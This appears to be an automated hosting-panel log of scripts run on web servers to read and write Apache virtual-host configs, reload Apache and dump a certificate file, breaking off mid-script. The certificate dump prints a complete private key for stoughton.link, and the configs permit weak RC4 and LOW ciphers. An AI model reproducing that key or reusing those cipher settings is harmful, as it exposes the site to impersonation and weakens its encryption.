BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/stoughton_www_link.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-22 06:00:31:
chmod 755 /tmp/pkp211485; /tmp/pkp211485; rm /tmp/pkp211485
2025-10-22 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf 42
<VirtualHost *:80>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_access.log combined
ErrorLog /var/log/apache2/stoughton/www_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/stoughton/www_secure_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-22 06:00:31:
PUT: /tmp/pkp705470
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=stoughton_www_link.conf
TARGET=/etc/apache2/sites-enabled/stoughton_www_link.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_access.log combined
ErrorLog /var/log/apache2/stoughton/www_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/stoughton/www_secure_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/stoughton_www_link.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/stoughton_www_link.conf= 1'
fi
2025-10-22 06:00:31:
chmod 755 /tmp/pkp705470; /tmp/pkp705470; rm /tmp/pkp705470
2025-10-22 06:00:31:
2025-10-22 06:00:31:
PUT: /tmp/pkp512596
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-22 06:00:31:
chmod 755 /tmp/pkp512596; /tmp/pkp512596; rm /tmp/pkp512596
2025-10-22 06:00:32:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-22 06:00:32: Establishing a connection
2025-10-22 06:00:32:
PUT: /tmp/pkp342346
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-22 06:00:32:
chmod 755 /tmp/pkp342346; /tmp/pkp342346; rm /tmp/pkp342346
2025-10-22 06:00:32:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-10-22 06:00:32:
PUT: /tmp/pkp449559
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/stoughton_www_link.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-22 06:00:32:
chmod 755 /tmp/pkp449559; /tmp/pkp449559; rm /tmp/pkp449559
2025-10-22 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/stoughton_www_link.conf 1743
<VirtualHost *:80>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_access.log combined
ErrorLog /var/log/apache2/stoughton/www_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
</VirtualHost>
<VirtualHost *:443>
ServerName stoughton.link
ServerAlias *.stoughton.link
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt
DocumentRoot /var/www/stoughton_www
<Directory /var/www/stoughton_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/stoughton/www_secure_access.log combined
ErrorLog /var/log/apache2/stoughton/www_secure_error.log
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-22 06:00:32:
PUT: /tmp/pkp390263
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-22 06:00:32:
chmod 755 /tmp/pkp390263; /tmp/pkp390263; rm /tmp/pkp390263
2025-10-22 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b6da5a1697afd075a41d62112290ebf0.crt 5365
d5:b1:12:2f:a9:a2:96:cb:c0:d0:53:1d:e4:67:d1:be
-----BEGIN CERTIFICATE-----
MIIFCDCCA/CgAwIBAgISBYz76/GlmWUyEDCA24s67zcHMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIyMDUwMjAwWhcNMjYwMTIwMDUwMTU5WjAZMRcwFQYDVQQD
Ew5zdG91Z2h0b24ubGluazCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMdJKhtDCNP00KgttwdMU+bdv7rSPUoQvrF7UTffqyGu4gf+rGw+/o2bG+zdjSrg
CDZ4FJ4cI/p9A0NNF5WWrqUar0JFLX1BrDEN8f9ZHphraeAX8OUtNZ1wt9qbTrTA
hdkKrbETShHGSTiT9HF1b1Yu8+F/I/Z48uvTVEoM3TAhoyMviHzp2PSE0u3BTdw9
VplWuCMOAvGDReWpA+zmt8GPyQ52dA7V2W3Ze+mMVbdXE9nw7O58s6hkx0MRJgtI
9KqWpMiQFxjkWouoTJ8Fa2jnUyIIKpioTskWM6eHCCXpn2O3vSCWMwnbSiBWO3En
pQJzpY51ED71bL0SgCIhymMCAwEAAaOCAi4wggIqMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUVuiArpVICqLIKLMHS6uD8607YK4wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzArBgNVHREEJDAighAqLnN0b3VnaHRvbi5saW5rgg5z
dG91Z2h0b24ubGluazATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzguY3JsMIIBAwYKKwYBBAHWeQIE
AgSB9ASB8QDvAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcAAAGa
CoE0LAAABAMARzBFAiBRY656vMdzpDyCJPM41MmUSS/2aLuivDG/oPbvWZKxCwIh
AMjEAAYhPP5U8FfiOhA6lMqqY1WkPul2aO2C3VsUK/5gAHUASZybad4dfOz8Nt7N
h2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGaCoE0LAAABAMARjBEAiBFKUbnNh4/3oHY
Spt/uLT39tCZYveGWCLygeerQH2J7AIgSmmWrxVt6PQgUkHWK/QRA3sAFjgJa3fW
nI3P3c3f9PMwDQYJKoZIhvcNAQELBQADggEBABU2L3MkY7WllsMxgWU8xW9ashGl
duJX6ZfuuVV6wTwtRwJy09p13fFWXOr2VT1BRJLP0B1E8VtisjYURNGAUrWLP/3i
mLUySOvFs1vWik9jJYg55ZJTYYN2EroWxxZihxceeXHuOp2wMvF083YilBJMqiXp
GGgCPKUeq0wQWkqFp5w4e/HEqie4XcjncPSiX8tGjZO14zGRrUE/EQzuL3+QxuJh
pNSsPQgSlR2bFwYRwO73gCb6IsApSr/jz+8bkaGF1VkO+1DlUP+Ni6jHmRCQbXiv
RsbmZjCMcGQEz3+9Avx+Je7HkEo5+Kp9aSyppcSlB0fuH3UrOdtjSjKyHrw=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDHSSobQwjT9NCo
LbcHTFPm3b+60j1KEL6xe1E336shruIH/qxsPv6Nmxvs3Y0q4Ag2eBSeHCP6fQND
TReVlq6lGq9CRS19QawxDfH/WR6Ya2ngF/DlLTWdcLfam060wIXZCq2xE0oRxkk4
k/RxdW9WLvPhfyP2ePLr01RKDN0wIaMjL4h86dj0hNLtwU3cPVaZVrgjDgLxg0Xl
qQPs5rfBj8kOdnQO1dlt2XvpjFW3VxPZ8OzufLOoZMdDESYLSPSqlqTIkBcY5FqL
qEyfBWto51MiCCqYqE7JFjOnhwgl6Z9jt70gljMJ20ogVjtxJ6UCc6WOdRA+9Wy9
EoAiIcpjAgMBAAECggEAck6mJ0L5ElKPSJgILth6G6c/7VHgM9aM+tJoEKtrxoNA
RSOwFNrBOcopZ2DhMyGTtGKGOPadMHV6ZKUYjQYEINHAizuQzxLXSL/d+gBNS1H5
Rb+Vvm6DHU5lNq/0ojr3yzmTzUjqKG3a2+gJwvaAKSf/XW2G3D4d4GS0KVFdodf0
8x8ObeTIx7C8ry0eqSS5JfoL7Zb8lB/ylW9ZY8Rt+i+9OQp8+WdWSlC7olF7zIkG
kKh4ONBmjFLV4bNHj90Fpk5731qQ4gdqJJHJ7ReTHCcB3ta0p2ofPyN2PjOXr+Zn
0ACdvwkN9HJO3/wGqObVfufh/+JVRLt+wzaJXHTOYQKBgQD6bYHlDUBBDHou67tX
qxtnK1AYyWSJNMcTxDK9p9UZwHcMC9QVIGYAwpd0J2cdJ1VNapRBcL0x0YjV3wzU
rqf0Q6K5Qr3JjTXqU9LRVg1+SlZhg8yLiXlRIp4afUVhcUlxzkie0IYntIaY0jEt
ge9oYr9VhXDswAOcLLG8uPQa0QKBgQDLuFdLs5QcD46qks7nHonLdDAOVmvEiEJp
fNyCb8UGeXYDl5LyHOZ+pelshVf544AdvkAb5b+Q5f0ZoM9VSJNs62VAzqcouBoX
hd8tBFNdWHcXpZ/x6SFIyOc3fi+M8/ySvSCgXk3VLrctvPeCuNgaJxZdncESRAnZ
45iKkRB28wKBgFoy2SdcB3mmedeulnK0MZGOWzIiT7DPrqii8Te4XJwC454WIJRf
b/30GMMAcjZg9WuF6NJNPgfUlbmati9gnSPwvIqHzH3s+69j87nsib2kHsrOwvy7
TlP36QRXfIblW/O+vg9dwgRJFHW0t3vRoh5x+sJd5tePLX2x5263G00RAoGAVvjV
M/lvsuclZkcU0/DirRxmY8iba6UsjTKERZ+IAvKZ4oC0eG7ELK+STwVCgOmSSaBu
aDqWpTq66lUQDv3UCr0YVimjjavDX+WEWQiuunxJI6xO840u647xv2w8yrVjUBY0
NqLsIaY3B+zT0lgt0kR7tO3jfnPTrNUQy5+Q4ucCgYEAjHsuBIdxHS7+qhHr+93m
LcIqqAkr4fdUITdCB1uRNrofPbMe+saaqSrcoOJpW8tzqa8NJ0d1DmVgkmw+e5v0
PHkKapnESv6c97ybaaUtM5NhwtdjSbN6LE+HYMx/8+tbGQZ3AQKorStfVfFKLI+N
ez4APeuMzJ/5xxy8K+4W3aw=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-22 06:00:32: Establishing a connection
2025-10-22 06:00:33: Establishing a connection
2025-10-22 06:00:34:
PUT: /tmp/pkp347804
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-22 06:00:35:
chmod 755 /tmp/pkp347804; /tmp/pkp347804; rm /tmp/pkp347804
2025-10-22 06:00:35:
0
2025-10-22 12:25:49: Establishing a connection
2025-10-22 12:26:07: Establishing a connection
2025-10-22 12:26:09:
PUT: /tmp/pkp404195
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "conf.d/zoomchat_www_online.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-22 12:26:10:
chmod 755 /tmp/pkp404195; /tmp/pkp404195; rm /tmp/pkp404195
2025-10-22 12:26:10:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
conf.d/zoomchat_www_online.conf 0
2025-10-22 12:26:10:
PUT: /tmp/pkp960842
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_online.conf
TARGET=conf.d/zoomchat_www_online.conf
DOCROOT=/var/www/zoomchat_www
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/httpd/zoomchat
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "../conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd/conf.d/zoomchat_www_online.conf'
echo 'file(/etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi
2025-10-22 12:26:10:
chmod 755 /tmp/pkp960842; /tmp/pkp960842; rm /tmp/pkp960842
2025-10-22 12:26:11:
link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd/conf.d/zoomchat_www_online.conf
file(/etc/httpd/conf.d/zoomchat_www_online.conf= 1
2025-10-22 12:26:11:
PUT: /tmp/pkp354552
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-22 12:26:11:
chmod 755 /tmp/pkp354552; /tmp/pkp354552; rm /tmp/pkp354552
2025-10-22 12:26:12:
.
2025-10-22 12:26:12: Performing Server Status
2025-10-22 12:26:12:
PUT: /tmp/pkp772366
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
